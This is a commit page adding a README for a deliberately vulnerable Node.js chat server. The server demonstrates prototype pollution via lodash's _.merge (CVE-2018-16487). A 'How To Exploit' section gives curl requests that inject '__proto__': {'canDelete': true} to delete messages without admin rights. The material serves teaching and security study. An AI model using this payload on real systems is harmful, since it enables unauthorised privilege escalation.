Skip to content

Commit 41e5090

Browse files
committed
added README.md
1 parent 1a0eea9 commit 41e5090

File tree

1 file changed

+54
-0
lines changed

1 file changed

+54
-0
lines changed

README.md

+54
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
# Prototype Pollution in JavaScript
2+
3+
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
4+
5+
## Example Application
6+
7+
This is example chat server vulnerable to Prototype Pollution.
8+
9+
- `GET /` - List all messages (available without authentication).
10+
```bash
11+
curl --request GET --url http://localhost:3000/
12+
```
13+
- `PUT /` - Post a new message (only registered users).
14+
```bash
15+
curl --request PUT \
16+
--url http://localhost:3000/ \
17+
--header 'content-type: application/json' \
18+
--data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}'
19+
```
20+
- `DELETE /` - Delete a message (only administrators).
21+
```bash
22+
curl --request DELETE \
23+
--url http://localhost:3000/ \
24+
--header 'content-type: application/json' \
25+
--data '{"auth": {"name": "admin", "password": "???"}, "messageId": 2}'
26+
```
27+
28+
An attacker target here is to delete message without administrator credentials.
29+
30+
## Run
31+
32+
- `npm install`
33+
- `npm start`
34+
35+
## Vulnerability
36+
37+
The Prototype Pollution vulnerability (CVE-2018-16487) introduced by [[email protected]](https://www.npmjs.com/package/lodash/v/4.17.4) via `_.merge()` function. More details about the issue you can find on [Snyk website](https://snyk.io/vuln/SNYK-JS-LODASH-73638).
38+
39+
## How To Exploit
40+
41+
1. Send evil message with `__proto__`.
42+
```bash
43+
curl --request PUT \
44+
--url http://localhost:3000/ \
45+
--header 'content-type: application/json' \
46+
--data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "😈", "__proto__": {"canDelete": true}}}'
47+
```
48+
2. Delete any message you want using user's credentials.
49+
```bash
50+
curl --request DELETE \
51+
--url http://localhost:3000/ \
52+
--header 'content-type: application/json' \
53+
--data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}'
54+
```

0 commit comments

Comments
 (0)